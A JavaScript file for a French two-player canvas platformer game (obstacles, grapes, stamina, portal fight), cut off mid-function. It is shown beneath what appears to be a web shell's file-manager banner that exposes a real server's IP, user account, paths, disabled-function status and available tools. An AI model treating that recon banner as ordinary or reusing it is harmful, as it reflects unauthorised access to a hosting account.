| Server IP : 109.234.162.214 / Your IP : 216.73.216.222 Web Server : Apache System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64 User : carpe ( 1178) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/carpe/public_html/jeu/js/ |
Upload File : |
var pull = true;
let player22=false;
let tibo = false;
let fleched = document.getElementById("fleched");
let flecheg = document.getElementById("flecheg");
let oe1 = document.getElementById("oe1");
let oe2 = document.getElementById("oe2");
fleched.addEventListener("click", () => {
if(getComputedStyle(oe1).display != "none"){
oe1.style.display = "none";
oe2.style.display="flex";
player22=true;
}else{
oe1.style.display ="flex";
oe2.style.display = "none";
player22=false;
}
})
flecheg.addEventListener("click", () => {
if(getComputedStyle(oe1).display != "none"){
oe1.style.display = "none";
oe2.style.display="flex";
player22=true;
}else{
oe1.style.display ="flex";
oe2.style.display = "none";
player22=false;
}
})
let togg11 =document.getElementById("togg11")
let start = document.getElementById("start")
togg11.addEventListener("click", () => {
start.style.display = "none";
pull=true;
tibo=true;
})
let togg33 = document.getElementById("togg33")
togg33.addEventListener("click", () => {
start.style.display = "flex";
overlay.style.display = "none";
pull=false;
})
let togg333 = document.getElementById("togg333")
togg333.addEventListener("click", () => {
start.style.display = "flex";
pull=false;
})
let togg1 = document.getElementById("togg1");
let togg2 = document.getElementById("togg2")
let touchess = document.getElementById("touches");
togg1.addEventListener("click", () => {
if(getComputedStyle(touchess).display != "none"){
touchess.style.display = "none";
contain.style.display="flex";
}else{
touchess.style.display ="flex";
contain.style.display = "none";
}
})
window.onload = function(){
let canvas = document.getElementById("canvas");
let ctx = canvas.getContext('2d');
let fond = new Image();
fond.src = "Images/fondjeu.png";
let perso = new Image();
perso.src = "Images/chat3.png";
let touches = new Clavier();
let clic = new Image();
clic.src = "Images/clic.png";
let indice = new Image();
indice.src = "Images/coin.png";
let jotaro = new Image();
jotaro.src = "Images/jotaro-spritesheet.png";
let sous = new Image();
sous.src = "Images/maison3.png";
let raisin = new Image()
raisin.src = "Images/raisin.png"
let ciel = new Image()
ciel.src = "Images/fondciel.png"
let txt = new Image();
txt.src = "Images/txt.png";
let cont = new Image();
cont.src = "Images/contour.png"
let horse = new Image();
horse.src = "Images/horse.png";
let coeur = new Image()
coeur.src = "Images/coeur.png";
let lvl1 = new Image();
lvl1.src = "Images/lvl1.png";
let lvl2 = new Image();
lvl2.src = "Images/lvl2.png";
let ville = new Image()
ville.src = "Images/ville.png"
let cheval = new Image();
cheval.src = "Images/cheval.png"
let charette = new Image();
charette.src = "Images/charette.png"
let roue= new Image();
roue.src= "Images/roue.png"
let chat2= new Image();
chat2.src= "Images/chat21.png"
let toit = new Image();
toit.src = "Images/toit.png"
let portal = new Image();
portal.src = "Images/portal.png"
let desert = new Image();
desert.src = "Images/desert.png"
let fonddesert = new Image();
fonddesert.src = "Images/fonddesert.png";
let babel = new Image();
babel.src = "Images/babel.png";
let colisey = new Image();
colisey.src = "Images/colisey.png"
let overit1 = new Image();
overit1.src = "Images/overit1.png";
let overit2 = new Image();
overit2.src = "Images/overit2.png";
let fight = new Image();
fight.src = "Images/fight.png";
let eclair = new Image();
eclair.src = "Images/eclair.png";
let cloche = new Image();
cloche.src = "Images/cloche.png";
let ciel2 = new Image();
ciel2.src = "Images/fondciel2.png";
let wof = new Image();
wof.src = "Images/wof.png";
let perso2 = new Image();
perso2.src = "Images/perso2.png"
let cheval2 = new Image();
cheval2.src = "Images/cheval2.png"
let charette2 = new Image();
charette2.src = "Images/charette2.png"
let audio = new Audio("ac2.mp4");
let bell = new Audio("bell.mp4");
let gladia = new Audio("gladia.mp4");
let fighto = new Audio("fighto.mp4");
let thunder = new Audio("thunder.mp4")
var togg3 = document.getElementById("aud");
let x = 100;
let pas = 0;
let pas2 = 0
let col = 155;
let col2 = 155;
let y = 284;
let yy = 0;
let xx = 0;
let xfond = 0;
let ok = 600;
let droite=false;
let gauche=false;
let saut=false;
let compteur=0;
let compteur2=0;
let yinit = 0;
let delai = false;
let blabla = false;
let mort = false;
let mort2=false;
let xxx = 0;
let cielpos =0;
let anim = false;
let compta = 0;
let dudelai = false;
let encore = false;
var posX = 400;
var posY = 100;
var posX2 = 470;
var posY2 = 100;
var coll = false;
var coll2=false;
let color = false;
var grav=false;
let compt=0;
let ouistiti = true;
let yahou = true;
var ramasseraisin = false;
var ramasseraisin2=false;
var ramasseraisin3=false;
var ramasseraisin4=false;
let niveau1 = true;
let niveau2 = false;
let comptraisin = 0;
let tonneau = new Image()
tonneau.src = "Images/tonneau.png"
let chargement1= false;
let stamina = 6;
let fatigue = false;
let comptfatigue = 40;
let yfond=50;
let yyfond=50;
let stamina2 = 6;
let droite2 = false;
let gauche2 = false;
let fatigue2=false;
let comptfatigue2 = 40;
let niveau12=true;
let niveau22=false;
let compt2=false;
let ouistiti2=false;
let saut2=false;
let delai2=false;
let pascheval = 0;
let event=false;
let chevalX=-300;
let comptcheval=0;
let pasroue=0;
let echape=false;
let delaitouche=51;
let bref=true;
let bon = true;
let drawing = false;
let yyy=-100;
let pattern1 = false;
let pattern2 = false;
let pattern3 = false;
let comptcoll = 0;
let aie=false;
let compteur3 = 0;
let vie = 9;
let vie2 = 9;
var a = 1;
var b = 1;
var c = 3;
var score = 0;
var score2 = 0;
let ynuage=0;
let portale = false;
let jsp = false;
let jsp2 = false;
let comptjsp=10;
let comptjsp2=10;
let pvp=false;
let decompte=false
let decompte2=false;
let menu =false;
let timer=0;
let timer2=0;
let wfight=400;
let hfight=200;
let xfight=200;
let yfight=100;
let lecombat=true;
let backup=0;
let backup2=0;
let comptpattern=0;
let saucisson=false;
let aaa=false;
let ny=0;
let comptportal = 0;
let compteurportale=false;
let pascloche = 0;
let hophop=false;
let oeoe=0;
let eclaire=false;
let compteclair=0;
let miam=false;
let tonx=0;
let tony = 0;
let hit = 1;
let hit2 = 1;
let varhit=0;
let power1=false;
let power2=false;
let event2=false;
let plouf=1;
let piou = false;
let timere=false;
let plouf2=1;
let piou2=false;
let timere2=false;
let oust=false;
let comptoust=0;
let ddd=false;
let ggg=false;
let oust2=false;
let comptoust2=0;
let ddd2=false;
let ggg2=false;
let woaf=0;
let foudre=false;
let comptfoudre=0;
let comptscore=0;
fond.onload = function(){
setInterval(boucle,20); //FPS : 1000/20
}
function boucle(){
var joueur1 = new Obstacle(posX,posY,30,30);
var joueur2 = new Obstacle(posX2,posY2,30,30);
if(!portale){
var o1 = new Obstacle((-xx+110),yy+120,240,5); //carré en haut à gauche
var o3 = new Obstacle(0,0,1,1);
var o4 = new Obstacle(-xx+400,yy+180,90,10);
var o5 = new Obstacle(-xx+370,yy+30,30,30);
var o6 = new Obstacle(-xx+390,yy+10,30,30);
var o7 = new Obstacle(-xx+410,yy-10,30,30);
var o8 = new Obstacle(-xx+430,yy-30,30,30);
var o10 = new Obstacle(-xx+450,yy-60,30,30);
var o11 = new Obstacle(-xx+470,yy-90,30,30);
var o12 = new Obstacle(-xx+490,yy-120,30,30);
var o14 = new Obstacle(-xx+550,yy-200,230,5);
var o15 = new Obstacle(-xx+150,yy-250,280,5);
var o16 = new Obstacle(-xx+180,yy-340,30,5);
var o17 = new Obstacle(-xx+235,yy-380,30,5);
var o18 = new Obstacle(-xx+295,yy-420,30,5);
var o13 = new Obstacle(-xx+570,yy+50,180,5);
}
if(portale){
var o1 = new Obstacle(0,0,1,1); //carré en haut à gauche
var o3 = new Obstacle(0,0,1,1);
var o4 = new Obstacle(0,0,1,1);
var o5 = new Obstacle(0,0,1,1);
var o6 = new Obstacle(0,0,1,1);
var o7 = new Obstacle(0,0,1,1);
var o8 = new Obstacle(0,0,1,1);
var o10 = new Obstacle(0,0,1,1);
var o11 = new Obstacle(0,0,1,1);
var o12 = new Obstacle(0,0,1,1);
var o14 = new Obstacle(0,0,1,1);
var o15 = new Obstacle(0,0,1,1);
var o16 = new Obstacle(0,0,1,1);
var o17 = new Obstacle(0,0,1,1);
var o18 = new Obstacle(0,0,1,1);
var o13 = new Obstacle(0,0,1,1);
}
var o19 = new Obstacle(0,0,1,1);
var o20 = new Obstacle(0,0,1,1);
var o30 = new Obstacle(0,0,1,1);
var o31 = new Obstacle(0,0,1,1);
var o32 = new Obstacle(0,0,1,1);
var o33 = new Obstacle(0,0,1,1);
var o34 = new Obstacle(0,0,1,1);
var o341 = new Obstacle(0,0,1,1);
var o35 = new Obstacle(0,0,1,1);
var o40 = new Obstacle(0,0,1,1);
var o41 = new Obstacle(0,0,1,1);
var o42 = new Obstacle(0,0,1,1);
var o421 = new Obstacle(0,0,1,1);
var o422 = new Obstacle(0,0,1,1);
var o43 = new Obstacle(0,0,1,1);
var o44 = new Obstacle(0,0,1,1);
var o333 = new Obstacle(0,0,1,1);
var o334 = new Obstacle(0,0,1,1);
var o45 = new Obstacle(0,0,1,1);
var o46 = new Obstacle(0,0,1,1);
var o401 = new Obstacle(0,0,1,1);
var o402 = new Obstacle(0,0,1,1);
var o403 = new Obstacle(0,0,1,1);
var o404 = new Obstacle(0,0,1,1);
var o4011 = new Obstacle(0,0,1,1);
var o4021 = new Obstacle(0,0,1,1);
var o4031 = new Obstacle(0,0,1,1);
var o4041 = new Obstacle(0,0,1,1);
var o4042 = new Obstacle(0,0,1,1);
var o600 = new Obstacle(0,0,1,1);
var o601 = new Obstacle(0,0,1,1);
var o602 = new Obstacle(0,0,1,1);
var o603 = new Obstacle(0,0,1,1);
var o604 = new Obstacle(0,0,1,1);
var o605 = new Obstacle(0,0,1,1);
var o606 = new Obstacle(0,0,1,1);
var o607 = new Obstacle(0,0,1,1);
var o608 = new Obstacle(0,0,1,1);
var o609 = new Obstacle(0,0,1,1);
var o610 = new Obstacle(0,0,1,1);
var o611 = new Obstacle(0,0,1,1);
var o612 = new Obstacle(0,0,1,1);
var o613 = new Obstacle(0,0,1,1);
var o614 = new Obstacle(0,0,1,1);
var o615 = new Obstacle(0,0,1,1);
var o616 = new Obstacle(0,0,1,1);
var o617 = new Obstacle(0,0,1,1);
var o618 = new Obstacle(0,0,1,1);
var o619 = new Obstacle(0,0,1,1);
var o620 = new Obstacle(0,0,1,1);
var o621 = new Obstacle(0,0,1,1);
var o622 = new Obstacle(0,0,1,1);
var o623 = new Obstacle(0,0,1,1);
var o624 = new Obstacle(0,0,1,1);
var o501 = new Obstacle(0,0,1,1);
var o502 = new Obstacle(0,0,1,1);
var o503 = new Obstacle(0,0,1,1);
var o504 = new Obstacle(0,0,1,1);
var o505 = new Obstacle(0,0,1,1);
var o506 = new Obstacle(0,0,1,1);
var o507 = new Obstacle(0,0,1,1);
var o508 = new Obstacle(0,0,1,1);
var o701 = new Obstacle(0,0,1,1);
var o702 = new Obstacle(0,0,1,1);
var o703 = new Obstacle(0,0,1,1);
var o704 = new Obstacle(0,0,1,1);
var o705 = new Obstacle(0,0,1,1);
var o705 = new Obstacle(0,0,1,1);
var o771 = new Obstacle(0,0,1,1);
var o772 = new Obstacle(0,0,1,1);
var o800 = new Obstacle(0,0,1,1);
var o801 = new Obstacle(0,0,1,1);
var o1000 = new Obstacle(0,0,1,1);
var o9 = new Obstacle(0,0,1,1);
var portall = new Obstacle(0,0,0,0);
var portall2 = new Obstacle(0,0,0,0);
var clochee = new Obstacle(0,0,1,1);
if(a!=0&&!portale)
var o9 = new Obstacle((-xx+190),yyy-1200,140,5);
var joueur = new Obstacle(posX,posY,30,30);
var joueur2 = new Obstacle(posX2,posY2,30,30)
if(!portale&&a==0)
var clochee = new Obstacle(210,yyy-940,50,100);
if(portale){
var o1 = new Obstacle(0,350,1000,10); //carré en haut à gauche
var o3 = new Obstacle(0,0,1,1);
var o4 = new Obstacle(0,0,1,1);
var o5 = new Obstacle(0,0,1,1);
var o6 = new Obstacle(0,0,1,1);
var o7 = new Obstacle(0,0,1,1);
var o8 = new Obstacle(0,0,1,1);
var o10 = new Obstacle(0,0,1,1);
var o11 = new Obstacle(0,0,1,1);
var o12 = new Obstacle(0,0,1,1);
var o14 = new Obstacle(0,0,1,1);
var o15 = new Obstacle(0,0,1,1);
var o16 = new Obstacle(0,0,1,1);
var o17 = new Obstacle(0,0,1,1);
var o18 = new Obstacle(0,0,1,1);
var o19 = new Obstacle(0,0,1,1);
var o20 = new Obstacle(0,0,1,1);
var o30= new Obstacle(0,0,1,1);
var o31= new Obstacle(0,0,1,1);
var o32 = new Obstacle(0,0,1,1);
var o33 = new Obstacle(0,0,1,1);
var o34 = new Obstacle(0,0,1,1);
var o341 = new Obstacle(0,0,1,1);
var o35 = new Obstacle(0,0,1,1);
var o40 = new Obstacle(0,0,1,1);
var o41 = new Obstacle(0,0,1,1);
var o42 = new Obstacle(0,0,1,1);
var o43 = new Obstacle(0,0,1,1);
var o421 = new Obstacle(0,0,1,1);
var o422 = new Obstacle(0,0,1,1);
var o44 = new Obstacle(0,0,1,1);
var o333 = new Obstacle(0,0,1,1);
var o334 = new Obstacle(0,0,1,1);
var o45 = new Obstacle(0,0,1,1);
var o46 = new Obstacle(0,0,1,1);
var o401 = new Obstacle(0,0,1,1);
var o402 = new Obstacle(0,0,1,1);
var o403 = new Obstacle(0,0,1,1);
var o404 = new Obstacle(0,0,1,1);
var o4011 = new Obstacle(0,0,1,1);
var o4021 = new Obstacle(0,0,1,1);
var o4031 = new Obstacle(0,0,1,1);
var o4041 = new Obstacle(0,0,1,1);
var o4042 = new Obstacle(0,0,1,1);
var o9 = new Obstacle(0,0,1,1);
var o600 = new Obstacle(0,0,1,1);
var o601 = new Obstacle(0,0,1,1);
var o602 = new Obstacle(0,0,1,1);
var o603 = new Obstacle(0,0,1,1);
var o604 = new Obstacle(0,0,1,1);
var o605 = new Obstacle(0,0,1,1);
var o606 = new Obstacle(0,0,1,1);
var o607 = new Obstacle(0,0,1,1);
var o608 = new Obstacle(0,0,1,1);
var o609 = new Obstacle(0,0,1,1);
var o610 = new Obstacle(0,0,1,1);
var o611 = new Obstacle(0,0,1,1);
var o612 = new Obstacle(0,0,1,1);
var o613 = new Obstacle(0,0,1,1);
var o614 = new Obstacle(0,0,1,1);
var o615 = new Obstacle(0,0,1,1);
var o616 = new Obstacle(0,0,1,1);
var o617 = new Obstacle(0,0,1,1);
var o618 = new Obstacle(0,0,1,1);
var o619 = new Obstacle(0,0,1,1);
var o620 = new Obstacle(0,0,1,1);
var o621 = new Obstacle(0,0,1,1);
var o622 = new Obstacle(0,0,1,1);
var o623 = new Obstacle(0,0,1,1);
var o624 = new Obstacle(0,0,1,1);
var o501 = new Obstacle(0,0,1,1);
var o502 = new Obstacle(0,0,1,1);
var o503 = new Obstacle(0,0,1,1);
var o504 = new Obstacle(0,0,1,1);
var o505 = new Obstacle(0,0,1,1);
var o506 = new Obstacle(0,0,1,1);
var o507 = new Obstacle(0,0,1,1);
var o508 = new Obstacle(0,0,1,1);
var o1000 = new Obstacle(0,0,1,1);
var o701 = new Obstacle(0,0,1,1);
var o702 = new Obstacle(0,0,1,1);
var o703 = new Obstacle(0,0,1,1);
var o704 = new Obstacle(0,0,1,1);
var o705 = new Obstacle(0,0,1,1);
var o705 = new Obstacle(0,0,1,1);
var o771 = new Obstacle(0,0,1,1);
var o772 = new Obstacle(0,0,1,1);
var o800 = new Obstacle(chevalX-100,280,300,70);
var o801 = new Obstacle(chevalX+1350,300,300,70);
}
if(a==0&&!portale){
var o600 = new Obstacle((-xx+330),yyy-1350,160,10);
var o601 = new Obstacle((-xx+330),yyy-350,160,10);
var o602 = new Obstacle((-xx+340),yyy-525,40,40);
var o603 = new Obstacle((-xx+340),yyy-1525,40,40);
var o604 = new Obstacle((-xx+300),yyy-550,40,40);
var o605 = new Obstacle((-xx+300),yyy-1550,40,40);
var o606 = new Obstacle((-xx+270),yyy-575,40,40);
var o607 = new Obstacle((-xx+270),yyy-1575,40,40);
var o608 = new Obstacle((-xx+240),yyy-600,40,40);
var o609 = new Obstacle((-xx+240),yyy-1600,40,40);
var o610 = new Obstacle((-xx+470),yyy-600,300,10);
var o611 = new Obstacle((-xx+470),yyy-1600,300,10);
var o612 = new Obstacle((-xx+540),yyy-700,20,10);
var o613 = new Obstacle((-xx+540),yyy-1700,20,10);
var o614 = new Obstacle((-xx+660),yyy-740,30,5);
var o615 = new Obstacle((-xx+715),yyy-745,30,5);
var o616 = new Obstacle((-xx+660),yyy-1740,30,5);
var o617 = new Obstacle((-xx+715),yyy-1745,30,5);
var o618 = new Obstacle((-xx+230),yyy-770,250,5);
var o619 = new Obstacle((-xx+230),yyy-1770,250,5);
var o620 = new Obstacle((-xx+595),yyy-840,30,30);
var o621 = new Obstacle((-xx+570),yyy-870,30,30);
var o622 = new Obstacle((-xx+545),yyy-900,30,30);
var o623 = new Obstacle((-xx+520),yyy-930,30,30);
var o624 = new Obstacle((-xx+495),yyy-960,30,30);
ctx.drawImage(tonneau, -xx+450, yyy-450, 50,50);
ctx.drawImage(tonneau, -xx+450, yyy-1450, 50,50);
var o771 = new Obstacle(-xx+460, yyy-445, 40,40);
var o772 = new Obstacle(-xx+460, yyy-1445, 40,40);
}
if(pattern1&&!portale){
if(b==1){
ctx.drawImage(overit1, -xx+100,yyy-1280,700,1000);
var o501 = new Obstacle((-xx+550),yyy-990,210,10);
var o502 = new Obstacle((-xx+690),yyy-1050,35,40);
var o503 = new Obstacle((-xx+720),yyy-1170,35,10);
var o504 = new Obstacle((-xx+670),yyy-1200,35,10);
var o505 = new Obstacle((-xx+500),yyy-1180,40,30);
var o506 = new Obstacle((-xx+460),yyy-1210,40,30);
var o507 = new Obstacle((-xx+420),yyy-1240,40,30);
var o508 = new Obstacle((-xx+380),yyy-1280,40,30);
}
if(b==0){
var o701 = new Obstacle((-xx+525),yyy-1050,250,10);
var o702 = new Obstacle((-xx+500),yyy-1170,30,30);
var o703 = new Obstacle((-xx+470),yyy-1190,30,30);
var o704 = new Obstacle((-xx+440),yyy-1210,30,30);
var o705 = new Obstacle((-xx+410),yyy-1230,30,30);
var o705 = new Obstacle((-xx+380),yyy-1260,30,30);
}
}
if(a==1&&!portale){
var o9 = new Obstacle((-xx+450),yyy-390,300,10);
var o19 = new Obstacle((-xx+540),yyy-480,30,5);
var o20 = new Obstacle((-xx+385),yyy-530,30,20);
var o30 = new Obstacle((-xx+360),yyy-540,30,30);
var o31 = new Obstacle((-xx+425),yyy-550,30,30);
var o32 = new Obstacle((-xx+400),yyy-570,30,30);
var o33 = new Obstacle((-xx+375),yyy-590,30,30);
var o34 = new Obstacle((-xx+350),yyy-610,30,30);
var o341 = new Obstacle((-xx+325),yyy-640,30,30)
var o35 = new Obstacle((-xx+450),yyy-690,250,10);
var o40 = new Obstacle((-xx+610),yyy-780,40,50);
var o41 = new Obstacle((-xx+455),yyy-880,40,10);
var o42 = new Obstacle((-xx+250),yyy-780,150,10);
var o421 = new Obstacle((-xx+495),yyy-890,40,10);
var o422 = new Obstacle((-xx+505),yyy-900,40,10);
var o333 = new Obstacle((-xx+715),yyy-535,30,5);
var o334 = new Obstacle((-xx+660),yyy-530,30,5);
var o44 = new Obstacle((-xx+690),yyy-1050,35,40);
var o43 = new Obstacle((-xx+550),yyy-1000,210,10);
var o401 = new Obstacle((-xx+540),yyy-1480,30,5);
var o402 = new Obstacle((-xx+450),yyy-1390,300,10);
var o403 = new Obstacle((-xx+660),yyy-1530,30,5);
var o404 = new Obstacle((-xx+715),yyy-1535,30,5);
var o4011 = new Obstacle((-xx+425),yyy-1550,30,30);
var o4021 = new Obstacle((-xx+400),yyy-1570,30,30);
var o4031 = new Obstacle((-xx+375),yyy-1590,30,30);
var o4041 = new Obstacle((-xx+350),yyy-1610,30,30);
var o4042 = new Obstacle((-xx+325),yyy-1640,30,30);
var o45 = new Obstacle((-xx+720),yyy-1160,35,10);
var o46 = new Obstacle((-xx+670),yyy-1190,35,10);
var o771 = new Obstacle(0,0,1,1);
var o772 = new Obstacle(0,0,1,1);
}
if(!portale){
var o1000 = new Obstacle(-xx+450, ny-200, 50,50);
}
if(foudre){
var o2000= new Obstacle(posX,0,10,400)
comptfoudre++;
}
if(comptfoudre>2){
comptfoudre=0;
foudre=false;
}
if(!foudre){
var o2000= new Obstacle(0,0,1,1)
}
if(a!=1){
var oraisin = new Obstacle(0,0,1,1);
var oraisin2 = new Obstacle(0,0,1,1);
var oraisin3 = new Obstacle(0,0,1,1);
if(comptpattern<300)
var oraisin4 = new Obstacle(0,0,1,1);
}
if(a!=0){
var oraisin5 = new Obstacle(0,0,1,1);
var oraisin6 = new Obstacle(0,0,1,1);
var oraisin7 = new Obstacle(0,0,1,1);
var oraisin8 = new Obstacle(0,0,1,1);
}
if(b!=1){
var oraisin9 = new Obstacle(0,0,1,1);
}
if(b!=0){
var oraisin10 = new Obstacle(0,0,1,1);
}
var obstacles2 = new Array(o501,o502,o503,o504,o505,o506,o507,o508,o421);
var obstacles = new Array(o771,o772,o701,o702,o703,o704,o705,o600,o601,o602,o603,o604,o605,o607,o608,o609,o610,o611,o612,o613,o614,o615,o616,o617,o618,o619,o619,o620,o621,o622,o623,o624,o401,o4011,o402,o4021,o4031,o4041,o4042,o403,o404,o1000,o501,o502,o503,o504,o505,o506,o507,o508,o45,o46,o333,o334,o41,o42,o421,o422,o43,o44,o1,o3,o4,o5,o6,o7,o8,o9,o10,o11,o12,o13,o14,o15,o16,o17,o18,o19,o20,o30,o31,o32,o33,o34,o341,o35,o40); // Tableau de tous les obstacles
var o; // Un obstacle quelconque
if(!ramasseraisin&&!portale){
var oraisin2 = new Obstacle(-xx+250,yyy-600,30,30)
var oraisin3 = new Obstacle(-xx+500, yyy-284,30,30)
var oraisin4 = new Obstacle(-xx+600, yyy-284,30,30);
if(a==1){
var oraisin = new Obstacle(-xx+510,yyy-414,30,30);
var oraisin2 = new Obstacle(-xx+580,yyy-760,30,30);
var oraisin3 = new Obstacle(-xx+510, yyy-1414,30,30);
if(comptpattern<300)
var oraisin4 = new Obstacle(-xx+720, yyy-1190,30,30);
}
if(a==0){
var oraisin5 = new Obstacle(-xx+400, yyy-1414,30,30);
var oraisin6 = new Obstacle(-xx+550, yyy-1614,30,30);
var oraisin7 = new Obstacle(-xx+400, yyy-414,30,30);
var oraisin8 = new Obstacle(-xx+550, yyy-614,30,30);
}
if(b==1){
var oraisin9 = new Obstacle(-xx+720, yyy-1190,30,30);
}
if(b==0){
var oraisin10 = new Obstacle(-xx+600, yyy-1114,30,30);
}
var food = new Array(oraisin,oraisin2,oraisin3,oraisin4,oraisin5,oraisin6,oraisin7,oraisin8,oraisin9,oraisin10);
}
if(!saut){
for (p in obstacles2){
o = obstacles2[p];
if (o.collision(-xx+posX,posY,30,30)){
posY=posY-0.5;
}
}
}
if(!saut2){
for (p in obstacles2){
o = obstacles2[p];
if (o.collision(-xx+posX2,posY2,30,30)){
posY2=posY2-0.5;
}
}
}
let varstamina = (stamina*100)/6;
let varstamina2 = (stamina2*100)/6;
if(niveau2){
varstamina = (stamina*100)/8;
}
if(niveau22){
varstamina2 = (stamina2*100)/8;
}
for (p in food){
o = food[p];
if (o.collision(posX,posY,32,64)){
ramasseraisin = true;
console.log("hey")
timere=true;
piou=true;
plouf=plouf+0.2;
stamina=8;
}else{
piou=false;
}
if (o.collision(posX2,posY2,32,64)){
ramasseraisin = true;
console.log("hey")
timere2=true;
piou2=true;
plouf2=plouf2+0.2;
stamina2=8;
}else{
piou2=false;
}
}
if(timere){
timer++;
niveau2=true;
}
if(timere2){
timer2++;
niveau22=true;
}
if(timer>80){
ramasseraisin=false;
timer=0;
timere=false;
niveau2=false;
stamina=6;
}
if(timer2>80){
ramasseraisin=false;
timer2=0;
timere2=false;
niveau22=false;
stamina2=6;
}
ctx.save();
if(!portale){
ctx.drawImage(ciel, -cielpos,ynuage,1500,320);
ctx.drawImage(ciel, -cielpos+1500,ynuage,1500,320);
ctx.drawImage(ciel, -cielpos,ynuage-320,1500,320);
ctx.drawImage(ciel, -cielpos+1500,ynuage-320,1500,320);
ctx.drawImage(ciel, -cielpos,ynuage-640,1500,320);
ctx.drawImage(ciel, -cielpos+1500,ynuage-640,1500,320);
if(compteclair>10){
ctx.drawImage(eclair, 20,0,300,400);
ctx.save()
ctx.translate(120,80);
ctx.rotate(-1,1)
ctx.drawImage(eclair, 0,0,300,400);
ctx.restore()
ctx.drawImage(eclair, 650,0,300,400);
}
ctx.drawImage(fond, -xfond-80,yfond,2000,350);
ctx.drawImage(fond, -xfond+2040,yfond,2000,350);
ctx.drawImage(babel, -xfond-80,yyfond-350,2000,350);
ctx.drawImage(babel, -xfond-80,yyfond-700,2000,350);
ctx.drawImage(babel, -xfond-80,yyfond-1050,2000,350);
ctx.drawImage(tonneau, tonx, ny-40-tony, 50,50);
ctx.drawImage(tonneau, tonx+200, ny-400-tony, 50,50);
ctx.drawImage(sous, -xx+100,yy-500,700,900);
}
if(portale){
ctx.drawImage(colisey, 0,0,1000,400);
if(lecombat){
ctx.drawImage(fight, xfight,yfight,wfight,hfight);
fighto.play();
wfight=wfight+9;
hfight=hfight+4.5;
xfight=xfight-4;
yfight=yfight-4;
}
}
if(wfight>800){
lecombat=false;
}
if(!portale&&color){
ctx.fillRect((-xx+110),yy+120,240,5);
ctx.fillRect(-xx+970,310,30,30);
ctx.fillRect(-xx+370,yy+30,30,30);
ctx.fillRect(-xx+390,yy+10,30,30);
ctx.fillRect(-xx+410,yy-10,30,30);
ctx.fillRect(-xx+430,yy-30,30,30);
ctx.fillRect(-xx+450,yy-60,30,30);
ctx.fillRect(-xx+470,yy-90,30,30);
ctx.fillRect(-xx+490,yy-120,30,30);
ctx.fillRect(-xx+570,yy+50,180,5);
ctx.fillRect(-xx+550,yy-200,230,5);
ctx.fillRect(-xx+150,yy-250,280,5);
ctx.fillRect(-xx+180,yy-340,30,5);
ctx.fillRect(-xx+235,yy-405,30,5);
ctx.fillRect(-xx+295,yy-445,30,5);
}
if(portale&&color){
ctx.fillRect(0,350,1000,10);
}
if(pattern1&&!portale){
if(b==1){
ctx.drawImage(overit1, -xx+100,yyy-1280,700,1000);
if(color){
ctx.fillRect((-xx+550),yyy-990,210,10);
ctx.fillRect((-xx+690),yyy-1050,35,40);
ctx.fillRect((-xx+720),yyy-1170,35,10);
ctx.fillRect((-xx+670),yyy-1200,35,10);
ctx.fillRect((-xx+500),yyy-1180,40,30);
ctx.fillRect((-xx+460),yyy-1210,40,30);
ctx.fillRect((-xx+420),yyy-1240,40,30);
ctx.fillRect((-xx+380),yyy-1270,40,30);
}
}
if(b==0){
ctx.drawImage(overit2, -xx+100,yyy-1280,700,1000);
if(color){
ctx.fillRect((-xx+525),yyy-1050,250,10);
ctx.fillRect((-xx+500),yyy-1170,30,30);
ctx.fillRect((-xx+470),yyy-1190,30,30);
ctx.fillRect((-xx+440),yyy-1210,30,30);
ctx.fillRect((-xx+410),yyy-1230,30,30);
ctx.fillRect((-xx+380),yyy-1260,30,30);
}
}
if(a==1){
ctx.drawImage(overit1, -xx+100,yyy-2280,700,1000);
if(!portale&&color){
ctx.fillRect((-xx+450),yyy-390,300,10);
ctx.fillRect((-xx+540),yyy-480,30,5);
ctx.fillRect((-xx+660),yyy-530,30,5);
ctx.fillRect((-xx+715),yyy-535,30,5);
ctx.fillRect((-xx+540),yyy-1480,30,5);
ctx.fillRect((-xx+450),yyy-1390,300,10);
ctx.fillRect((-xx+660),yyy-1530,30,5);
ctx.fillRect((-xx+715),yyy-1535,30,5);
ctx.fillRect((-xx+425),yyy-550,30,30);
ctx.fillRect((-xx+400),yyy-570,30,30);
ctx.fillRect((-xx+375),yyy-590,30,30);
ctx.fillRect((-xx+350),yyy-610,30,30);
ctx.fillRect((-xx+325),yyy-640,30,30);
//escalier decalé ( pas modif en de"ssous )
ctx.fillRect((-xx+425),yyy-1550,30,30);
ctx.fillRect((-xx+400),yyy-1570,30,30);
ctx.fillRect((-xx+375),yyy-1590,30,30);
ctx.fillRect((-xx+350),yyy-1610,30,30);
ctx.fillRect((-xx+325),yyy-1640,30,30);
ctx.fillRect((-xx+450),yyy-690,270,10);
ctx.fillRect((-xx+610),yyy-780,40,50);
ctx.fillRect((-xx+465),yyy-880,40,10);
ctx.fillRect((-xx+495),yyy-890,40,10);
ctx.fillRect((-xx+525),yyy-900,40,10);
ctx.fillRect((-xx+230),yyy-780,170,10);
}
}
if(a==0){
ctx.drawImage(overit2, -xx+100,yyy-2280,700,1000);
if(!portale&&color){
ctx.fillRect((-xx+330),yyy-1350,160,10);
ctx.fillRect((-xx+330),yyy-350,160,10);
ctx.fillRect((-xx+340),yyy-525,40,40);
ctx.fillRect((-xx+340),yyy-1525,40,40);
ctx.fillRect((-xx+300),yyy-550,40,40);
ctx.fillRect((-xx+300),yyy-1550,40,40);
ctx.fillRect((-xx+270),yyy-575,40,40);
ctx.fillRect((-xx+270),yyy-1575,40,40);
ctx.fillRect((-xx+240),yyy-600,40,40);
ctx.fillRect((-xx+240),yyy-1600,40,40);
ctx.fillRect((-xx+470),yyy-600,300,10);
ctx.fillRect((-xx+470),yyy-1600,300,10);
ctx.fillRect((-xx+540),yyy-700,20,10);
ctx.fillRect((-xx+540),yyy-1700,20,10);
ctx.fillRect((-xx+660),yyy-740,30,5);
ctx.fillRect((-xx+715),yyy-745,30,5);
ctx.fillRect((-xx+660),yyy-1740,30,5);
ctx.fillRect((-xx+715),yyy-1745,30,5);
ctx.fillRect((-xx+230),yyy-770,250,5);
ctx.fillRect((-xx+230),yyy-1770,250,5);
ctx.fillRect((-xx+595),yyy-840,30,30);
ctx.fillRect((-xx+570),yyy-870,30,30);
ctx.fillRect((-xx+545),yyy-900,30,30);
